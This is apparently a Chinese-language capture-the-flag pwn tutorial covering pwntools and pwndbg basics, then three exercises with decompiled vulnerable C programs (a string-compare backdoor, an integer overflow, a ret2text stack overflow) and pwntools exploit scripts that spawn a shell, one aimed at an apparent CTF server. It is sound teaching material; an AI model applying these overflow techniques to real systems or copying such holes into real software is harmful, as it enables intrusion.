pwn1 pwntools以及pwndbg

pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
#调用pwntools库

r=process("./main")
r=remote(ip,port)
#连接远程服务器/本地运行

r.send(str)/r.sendline(str)
r.recv()/r.recvline/r.recvuntil(str)
#接受与发送

r.interactive()
#控制权还给用户

pwndbg

1
2
3
4
gdb.attach gdb捕获正在运行的进程
ni 前进一步(不进入函数)
si 前进一步(进入函数)
fin 结束当前函数

main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+108h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("Say something: ");
read(0, buf, 0x100uLL);
if ( !strcmp(buf, "love\n") )
{
puts("Yes!");
system("/bin/sh");
}
else
{
puts("No!");
}
return 0;
}

exp.py

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

#r=process("./main")
r=remote('node7.anna.nssctf.cn', 29011)
#context(os="linux",arch="amd64",log_level="debug")

r.recvuntil(": \n")
# gdb.attach(r)
r.sendline("love")

r.interactive()

pwn2 整数溢出

main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[4]; // [rsp+0h] [rbp-10h] BYREF
int v5; // [rsp+4h] [rbp-Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
v5 = 1314;
init(argc, argv, envp);
puts("Hello! Input a number: ");
__isoc99_scanf("%lld", v4);
if ( v5 == 520 )
system("/bin/sh");
else
puts("So sad");
return 0;
}

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r=process("./main")
# context(os="linux",arch="amd64",log_level="debug")

num=0x20865666768

r.recvline()
#gdb.attach(r)
r.sendline(str(num))

r.interactive()

ret2text

main.c

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

init(argc, argv, envp);
puts("Give me something special:");
read(0, buf, 0x30uLL); //uLL是unsigned long long,这里是输入48个字节
return 0;
}

buf为一个16字节的字符串,但是读入了48个字节,所以造成了溢出,需要通过溢出将返回地址覆盖成backdoor的地址

1
2
3
4
int backdoor()
{
return system("/bin/sh");
}